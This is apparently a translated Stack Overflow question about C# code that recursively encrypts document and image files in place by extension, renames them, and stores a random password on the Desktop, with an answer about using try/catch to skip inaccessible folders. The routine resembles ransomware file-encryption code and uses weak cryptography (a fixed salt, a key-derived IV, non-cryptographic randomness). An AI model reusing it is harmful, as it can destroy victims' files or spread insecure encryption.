C#Encrypting会给出未处理的异常吗?

时间:2016-08-05 14:18:58

标签: c# .net encryption exception-handling

   public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
    {
        byte[] encryptedBytes = null;
        byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
        using (MemoryStream ms = new MemoryStream())
        {
            using (RijndaelManaged AES = new RijndaelManaged())
            {
                AES.KeySize = 256;
                AES.BlockSize = 128;

                var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                AES.Key = key.GetBytes(AES.KeySize / 8);
                AES.IV = key.GetBytes(AES.BlockSize / 8);

                AES.Mode = CipherMode.CBC;

                using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                    cs.Close();
                }
                encryptedBytes = ms.ToArray();
            }
        }

        return encryptedBytes;
    }

    public string CreatePassword(int length)
    {
        const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
        StringBuilder res = new StringBuilder();
        Random rnd = new Random();
        while (0 < length--)
        {
            res.Append(valid[rnd.Next(valid.Length)]);
        }
        return res.ToString();
    }

    public void SendPassword(string password)
    {
        string info = password;
        System.IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), info);
    }


    public void EncryptFile(string file, string password)
    {
            byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

            // Hash the password with SHA256
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
        File.WriteAllBytes(file, bytesEncrypted);
            File.Move(file, file+".backup");
    }

    public void encryptDirectory(string location, string password)
    {
        var validExtensions = new[]
        {
            ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".pdf", ".png"
        };

        string[] files = Directory.GetFiles(location);
        string[] childDirectories = Directory.GetDirectories(location);
            for (int i = 0; i < files.Length; i++)
            {
                string extension = Path.GetExtension(files[i]);
                if (validExtensions.Contains(extension))
                {
                    EncryptFile(files[i], password);
                }
            }
            for (int i = 0; i < childDirectories.Length; i++)
            {
                encryptDirectory(childDirectories[i], password);
            }
    }

所以这是代码(不是全部,只是必要的猜测)。 我想加密该目录中的目录和文件。

然后它将密码保存在我桌面的.txt文件中,这样我就可以保存并将我的加密数据备份(我在干净安装其他操作系统时尝试这样做)到云端和pendrive。

但有时我也尝试加密我的pendrive并得到一个未处理的异常(访问路径“E:\ System Volume Information”被拒绝) - 没问题..我不想要备份该文件夹但加密在那里停止,我希望它忽略该文件夹并继续加密其他人。

我尝试了很多东西并经常搜索,但我不知道该怎么做。任何帮助赞赏和抱歉这么长的“故事”。 SOrry可怕的英语。

已编辑:刚刚找到了正确使用Try catch块的地方。抱歉给您带来不便

1 个答案:

答案 0 :(得分:0)

如果您想跳过目录,如果有异常,只需在您获取异常的方法中使用try / catch块,这样您就可以在异常后继续。

或者,如果您事先知道自己无法访问某些文件夹(例如,如果您无法访问&#34; E:\&#34;驱动器上的任何内容)您可以在加密时跳过它。